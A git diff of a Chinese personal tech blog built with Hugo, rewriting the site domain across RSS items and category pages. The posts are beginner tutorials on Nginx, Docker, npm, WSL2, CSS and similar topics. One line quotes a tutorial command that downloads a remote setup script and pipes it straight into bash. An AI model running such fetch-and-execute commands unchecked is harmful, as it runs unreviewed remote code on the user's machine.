       <pubDate>Wed, 16 Jun 2021 22:55:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/38/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/38/</guid>
       <description>Yarn 是一款新的 JavaScript 包管理工具，和npm对比就是速度快，保持一致性，安全
 速度快是因为yarn是并行执行任务，而不是npm那样排队列执行package，而且yarn还可以提供缓存，如果安装过一次package，使用yarn再次安装就会从缓存中获取，而不用再下载一次
 保持一致性：yarn提供了一个lockfile文件来记录要安装的package的版本号，锁定其版本不会出现错误，会生成yarn.lock文件来记录其package的版本号，就连依赖包的版本号都会被记录
@@ -837,10 +837,10 @@ yarn upgrade &amp;ndash;latest 包名</description>
     
     <item>
       <title>wsl2-windows子系统简单配置</title>
-      <link>https://xiaochenabc123.github.io/posts/35/</link>
+      <link>https://chenjunlinabc.github.io/posts/35/</link>
       <pubDate>Wed, 16 Jun 2021 17:43:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/35/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/35/</guid>
       <description>wsl全称Windows Subsystem for Linux
 打开启动或关闭windows功能，选择虚拟机平台，安装完毕功能，重启
 打开Windows Power Shell，输入
@@ -872,34 +872,34 @@ wsl &amp;ndash;list &amp;ndash;online
     
     <item>
       <title>Nginx服务器的一些简单配置</title>
-      <link>https://xiaochenabc123.github.io/posts/34/</link>
+      <link>https://chenjunlinabc.github.io/posts/34/</link>
       <pubDate>Wed, 16 Jun 2021 15:52:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/34/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/34/</guid>
       <description>配置ssl证书
 前提是已经申请到ssl证书,并且开放443端口
 编辑nginx.conf
 将443那几行的注释去掉（#）,并且修改
 ssl_certificate &amp;ldquo;crt证书的绝对路径&amp;rdquo;; ssl_certificate_key&amp;quot;key证书的绝对路径&amp;quot;;
 如果想访问网站就301重定向到https，那么添加这几行
-server{
listen 80;
server_name xiaochenabc123.test.com;
rewrite ^(.*) https://$host$1 permanent;
}
# 当使用80端口访问网站时，将301永久重定向到https://xiaochenabc123.test.com，达到全站https的效果
+server{ listen 80; server_name xiaochenabc123.test.com; rewrite ^(.*) https://$host$1 permanent; } # 当使用80端口访问网站时，将301永久重定向到https://xiaochenabc123.test.com，达到全站https的效果
 然后刷新一下配置nginx -s
 nginx反向代理配置
 将客户端请求转发给内部网络的其他目标服务端，并且将从其他服务端的结果返回到客户端，代理服务端和目标服务端，在外部看起来像是一个整体，只是将请求转发给其他服务端处理，从而达到减轻目标服务端的压力的效果
 配置nginx.conf
-location / {
proxy_pass https://test.xiaochenabc123.test.com; # 反向代理服务器地址
proxy_connect_timeout 200; # 设置连接超时
proxy_read_timeout 200; # 设置读响应超时
}
重启Nginx服务：service nginx restart
+location / { proxy_pass https://test.xiaochenabc123.test.com; # 反向代理服务器地址 proxy_connect_timeout 200; # 设置连接超时 proxy_read_timeout 200; # 设置读响应超时 } 重启Nginx服务：service nginx restart
 请求当前服务器时，当前服务器将请求转发给地址为 https://test.xiaochenabc123.test.com 的服务器处理
 gzip压缩
-gzip on;
gzip_comp_level 1; gzip_min_length 10;
gzip_http_version 1.1;
gzip_types text/html text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;
解释：
+gzip on; gzip_comp_level 1; gzip_min_length 10; gzip_http_version 1.1; gzip_types text/html text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript; 解释：
 gzip on // gzip开启，关闭是off</description>
     </item>
     
     <item>
       <title>Linux环境下简单搭建Minecraft服务器（java版）</title>
-      <link>https://xiaochenabc123.github.io/posts/33/</link>
+      <link>https://chenjunlinabc.github.io/posts/33/</link>
       <pubDate>Wed, 16 Jun 2021 15:46:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/33/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/33/</guid>
       <description>服务器可以使用国内的，保证延迟低，服务器配置一定要高一点，不然很容易Killed
 安装java
 dnf install java-openjdk
@@ -933,10 +933,10 @@ wget -qO- https://gitee.com/mcsmanager/script/raw/master/setup.sh | bash</descri
     
     <item>
       <title>node.js包管理工具npm的简单使用</title>
-      <link>https://xiaochenabc123.github.io/posts/31/</link>
+      <link>https://chenjunlinabc.github.io/posts/31/</link>
       <pubDate>Wed, 16 Jun 2021 15:05:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/31/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/31/</guid>
       <description>npm是Node.js的默认包管理工具
 安装npm：安装node.js(一般来说安装nodejs都会安装npm的)
 npm -v 查看npm版本号 node -v 查看node版本号 npm install nmp@latest -g 更新最新nmp，-g全局，没有加-g就是本地安装，或者在@后面加版本号来更新到指定版本的npm npm init -y 初始化 npm i 要安装的依赖 先检查有没有这个东西，有的话就下载下来 npm uninstall 要删除的依赖的名称 npm i 要安装的依赖@版本号 安装指定版本的依赖 npm update 依赖名称 安装最新的依赖或者更新npm npm init -y 使用默认的参数，去掉-y就是手动配置 npm run 对象名 执行脚本,引用package.json中的scripts对象，在对象中添加脚本 npm adduser 注册npm账号 npm publish 发布npm包 npm install 一键安装package.json文件里的所有依赖 npm install &amp;ndash;dependencies 只安装package.json里的dependencies的文件 npm install &amp;ndash;devDependencies 只安装package.json里的devDependencies文件 会自动将package.json中的模块安装到node-modules文件夹
@@ -945,10 +945,10 @@ npm -v 查看npm版本号 node -v 查看node版本号 npm install nmp@latest -g
     
     <item>
       <title>Python的一些神器的简单用法</title>
-      <link>https://xiaochenabc123.github.io/posts/27/</link>
+      <link>https://chenjunlinabc.github.io/posts/27/</link>
       <pubDate>Wed, 16 Jun 2021 14:39:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/27/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/27/</guid>
       <description>Virtualenv是一个能创建隔绝的独立的Python虚拟环境工具。它能够建立多个相互独立，互不影响的Python工作环境
 用来创建一套独立于系统Python环境的虚拟环境，在虚拟环境下，使用pip安装的依赖都会安装到当前的虚拟环境中，对系统的python环境没有影响
 当开发多个Python程序时当，程序1要使用3.6环境，但是程序2要使用3.8环境时，Virtualenv可以完美解决这个问题
@@ -978,10 +978,10 @@ cd ~ # 进入用户目录 mkdir .pip # 新建一个隐藏文件夹 touch pip.</d
     
     <item>
       <title>简单搭建一个hexo博客</title>
-      <link>https://xiaochenabc123.github.io/posts/26/</link>
+      <link>https://chenjunlinabc.github.io/posts/26/</link>
       <pubDate>Wed, 16 Jun 2021 14:36:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/26/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/26/</guid>
       <description>hexo+github可以实现免费搭建一个博客网站，就是维护起来有点麻烦
 apt install npm
 npm install hexo-cli -g
@@ -1018,35 +1018,35 @@ left - 靠左放置 right - 靠右放置
     
     <item>
       <title>css常见布局</title>
-      <link>https://xiaochenabc123.github.io/posts/24/</link>
+      <link>https://chenjunlinabc.github.io/posts/24/</link>
       <pubDate>Wed, 16 Jun 2021 13:23:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/24/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/24/</guid>
       <description>居中布局
 分水平居中和垂直居中，水平+垂直居中
 水平居中：当前元素在父级元素容器中，水平方向是居中显示的
 inline-block+text-algin
-#app{
text-align: center;
// 父元素，文本内容居中对齐
}
.child{
display: inline-block;
// 子元素，行内块级元素
}
优点：浏览器兼容性好（css2）
+#app{ text-align: center; // 父元素，文本内容居中对齐 } .child{ display: inline-block; // 子元素，行内块级元素 } 优点：浏览器兼容性好（css2）
 缺点：text-align具有继承性，会导致子元素的文本也是居中的
 table+margin
-.child{
display: table; // 也可以为block
margin: 0 auto;
// 子元素，margin外边距，上下为0，左右为auto（浏览器自动分配）
}
优点：只需要对子元素设置，就可以实现效果
+.child{ display: table; // 也可以为block margin: 0 auto; // 子元素，margin外边距，上下为0，左右为auto（浏览器自动分配） } 优点：只需要对子元素设置，就可以实现效果
 缺点：如果子元素脱离正常流，将会导致margin属性的值无效化
 absolute+transform
-#app{
position: relative; // 父元素相对定位
}
.child{
position: absolute; // 子元素绝对定位，如果父元素没有定位，那么该元素是相对于页面定位，父元素定位了，那么该元素是相对于父元素的
left: 50%; // 相对于父元素左边50% transform: translateX(-50%); // 子元素水平平移-50%（左负数，右正数）
}
优点：父元素是否脱离正常流，也是不影响子元素的水平居中效果
+#app{ position: relative; // 父元素相对定位 } .child{ position: absolute; // 子元素绝对定位，如果父元素没有定位，那么该元素是相对于页面定位，父元素定位了，那么该元素是相对于父元素的 left: 50%; // 相对于父元素左边50% transform: translateX(-50%); // 子元素水平平移-50%（左负数，右正数） } 优点：父元素是否脱离正常流，也是不影响子元素的水平居中效果
 缺点：transform属性是css3的新属性，浏览器兼容性比较差
 垂直居中：当前元素在父级元素容器中，垂直方向是居中显示的
 table-cell+vertical-algin
-#app{
// 父元素
display: table-cell;
vertical-align: middle; // 设置文本的垂直方向对齐方式
}
优点：浏览器兼容性好
+#app{ // 父元素 display: table-cell; vertical-align: middle; // 设置文本的垂直方向对齐方式 } 优点：浏览器兼容性好
 缺点：vertical-align属性具有继承性
 absolute+transform</description>
     </item>
     
     <item>
       <title>Docker容器的简单使用</title>
-      <link>https://xiaochenabc123.github.io/posts/18/</link>
+      <link>https://chenjunlinabc.github.io/posts/18/</link>
       <pubDate>Wed, 16 Jun 2021 09:34:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/18/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/18/</guid>
       <description>docker是一个应用容器，可以将应用以及该应用的依赖打包到一个可以移植的容器中，应用在这个容器中运行
 可以进行转移，修改，版本管理等操作，不用担心应用转移到别的服务器会出现依赖问题
 将容器文件转移到别的服务器上，不会影响到容器，一次配置，可以在多个服务器上使用相同的环境
@@ -1081,10 +1081,10 @@ sudo apt install docker-ce docker-ce-cli containerd.</description>
     
     <item>
       <title>简单理解区块链的基本原理</title>
-      <link>https://xiaochenabc123.github.io/posts/15/</link>
+      <link>https://chenjunlinabc.github.io/posts/15/</link>
       <pubDate>Wed, 16 Jun 2021 09:27:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/15/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/15/</guid>
       <description>注意：不推荐去玩比特币以及类似的加密货币，那个玩意说涨就涨，说跌就跌，比特币实质上就是一串数字，没有实物，没有信用背书，当这个巨大泡沫破裂之时，大部分人绝对不可能及时套现跑路，了解比特币下的技术可以，但是绝对不能接触或者玩比特币以及类似的加密货币
 1个比特币相当于100000000聪,聪(Satoshi)是比特币目前最小的单位，是为了纪念比特币的创建者中本聪(Satoshi Nakamoto)
 在中国唯一值得信赖的加密货币是数字人民币，有国家在做信用背书，是有法偿能力的法定货币，和现金等值
@@ -1141,25 +1141,25 @@ Hash(上一个Hash值,交易记录集,随机数)= 哈希值
     
     <item>
       <title>linux系统的日常使用</title>
-      <link>https://xiaochenabc123.github.io/posts/8/</link>
+      <link>https://chenjunlinabc.github.io/posts/8/</link>
       <pubDate>Wed, 16 Jun 2021 09:12:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/8/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/8/</guid>
       <description>linux发行版有很多，这里使用的是Ubuntu
 个人喜欢使用无界面版本（ubuntu-20.04-live-server-amd64）
 有关于树莓派的看这个
 修改为国内源
 nano /etc/apt/sources.list
 替换内容为
-# 默认注释了源码镜像以提高 apt update 速度，如有需要可自行取消注释
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse
# 预发布软件源，不建议启用
# deb https://mirrors.</description>
+# 默认注释了源码镜像以提高 apt update 速度，如有需要可自行取消注释 deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse # 预发布软件源，不建议启用 # deb https://mirrors.</description>
     </item>
     
     <item>
       <title>简单使用Vim编辑器</title>
-      <link>https://xiaochenabc123.github.io/posts/3/</link>
+      <link>https://chenjunlinabc.github.io/posts/3/</link>
       <pubDate>Sun, 28 Mar 2021 12:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/3/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/3/</guid>
       <description>Vim是从vi发展出来的一个文本编辑器。提供代码补完、编译及错误跳转等功能
 vim的五种模式（正常模式，插入模式，命令行模式，可视化模式，替换模式）
 启动vim默认就是在正常模式中，在该模式中按i进入插入模式，按:进入命令行模式，在插入模式或者命令行模式中按Esc进入普通模式
diff --git "a/categories/\346\212\200\346\234\257/page/1/index.html" "b/categories/\346\212\200\346\234\257/page/1/index.html"
index a76b9c53..130f216a 100644
--- "a/categories/\346\212\200\346\234\257/page/1/index.html"
+++ "b/categories/\346\212\200\346\234\257/page/1/index.html"
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/categories/%E6%8A%80%E6%9C%AF/</title><link rel=canonical href=https://xiaochenabc123.github.io/categories/%E6%8A%80%E6%9C%AF/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/categories/%E6%8A%80%E6%9C%AF/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/categories/%E6%8A%80%E6%9C%AF/</title><link rel=canonical href=https://chenjunlinabc.github.io/categories/%E6%8A%80%E6%9C%AF/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/categories/%E6%8A%80%E6%9C%AF/"></head></html>
\ No newline at end of file
diff --git "a/categories/\346\212\200\346\234\257/page/2/index.html" "b/categories/\346\212\200\346\234\257/page/2/index.html"
index 67a3ded4..6f1353e9 100644
--- "a/categories/\346\212\200\346\234\257/page/2/index.html"
+++ "b/categories/\346\212\200\346\234\257/page/2/index.html"
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>技术 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/categories/%E6%8A%80%E6%9C%AF/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/categories/%E6%8A%80%E6%9C%AF/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="技术"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/categories/%E6%8A%80%E6%9C%AF/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="技术"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/categories/>Categories</a></div><h1>技术</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>browserslist的简单配置</h2></header><div class=entry-content><p>browserslist是查询浏览器列表的工具，browserslisp的配置可写在package.json中，也可以单独写在.browserslistrc配置⽂件中
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>技术 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/categories/%E6%8A%80%E6%9C%AF/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/categories/%E6%8A%80%E6%9C%AF/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="技术"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/categories/%E6%8A%80%E6%9C%AF/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="技术"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/categories/>Categories</a></div><h1>技术</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>browserslist的简单配置</h2></header><div class=entry-content><p>browserslist是查询浏览器列表的工具，browserslisp的配置可写在package.json中，也可以单独写在.browserslistrc配置⽂件中
 browserslist的配置文件会被Autoprefixer，Babel，postcss-preset-env，eslint-plugin-compat，stylelint-no-unsupported-browser-features，postcss-normalize，obsolete-webpack-plugin工具读取，并且对配置的目标浏览器做适配工作
 npx browserslist可查看根据条件输出的浏览器列表
 查看全球用户份额大于0.2%的浏览器
@@ -12,18 +12,9 @@
 and就是和，or是或者
 browserslist的配置
 package.json（browserslist官方推荐用这个）
-"browserslist": [
-'> 0.2%',
-'last 1 Chrome versions'
-'not dead'
-]
-或者写成
-"browserslist": [
-'> 0.2% and last 1 Chrome versions and not dead',
-]
-.browserslistrc
-> 0.2% and last 1 Chrome versions and not dead
-browserslist数据的优先级：当前项目的package....</p></div><footer class=entry-footer><span title='2022-03-12 10:00:00 +0000 UTC'>2022-03-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to browserslist的简单配置" href=https://xiaochenabc123.github.io/posts/140/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Express-Web应用框架</h2></header><div class=entry-content><p>Express是基于nodejs的web应用框架（同时也是node的第三库），同时也是很多web应用框架的底层库，Express是cjs模块标准的http服务框架
+"browserslist": [ '> 0.2%', 'last 1 Chrome versions' 'not dead' ] 或者写成
+"browserslist": [ '> 0.2% and last 1 Chrome versions and not dead', ] .browserslistrc
+> 0.2% and last 1 Chrome versions and not dead browserslist数据的优先级：当前项目的package....</p></div><footer class=entry-footer><span title='2022-03-12 10:00:00 +0000 UTC'>2022-03-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to browserslist的简单配置" href=https://chenjunlinabc.github.io/posts/140/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Express-Web应用框架</h2></header><div class=entry-content><p>Express是基于nodejs的web应用框架（同时也是node的第三库），同时也是很多web应用框架的底层库，Express是cjs模块标准的http服务框架
 安装
 npm install express –save
 或者安装express-generator脚手架
@@ -36,12 +27,7 @@
 运行
 npm start
 如果不使用脚手架（main.js）
-const express = require("express")
-const app = express()
-app.get('/',function(req,res){ res.end("hallo world!")
-})
-app.listen(3000)
-运行
+const express = require("express") const app = express() app.get('/',function(req,res){ res.end("hallo world!") }) app.listen(3000) 运行
 node main.js
 或者（监视nodejs应用中的任何更改并自动重启服务）
 nodemon main.js
@@ -52,18 +38,7 @@
 app.use(require(‘cors’)())
 Express连接MongoDB（mongoose）
 npm install mongoose
-const mongoose = require('mongoose')
-mongoose.connect('mongodb://localhost:27014/test',{useNewUrlParser: true})
-const testdb = mongoose.model('testdb',new mongoose.Schema({
-_id: Number,
-title: String
-}))
-/*testdb.inserMany([
-{_id: 1, title: "abc"},
-{_id: 2, title: "xyz"}
-{_id: 3, title: "abcxyz"}
-])*/
-app....</p></div><footer class=entry-footer><span title='2022-02-28 18:04:00 +0000 UTC'>2022-02-28</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Express-Web应用框架" href=https://xiaochenabc123.github.io/posts/138/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Hugo搭建网站</h2></header><div class=entry-content><p>Hugo是基于Go语言开发的静态网站生成器，特点就是快
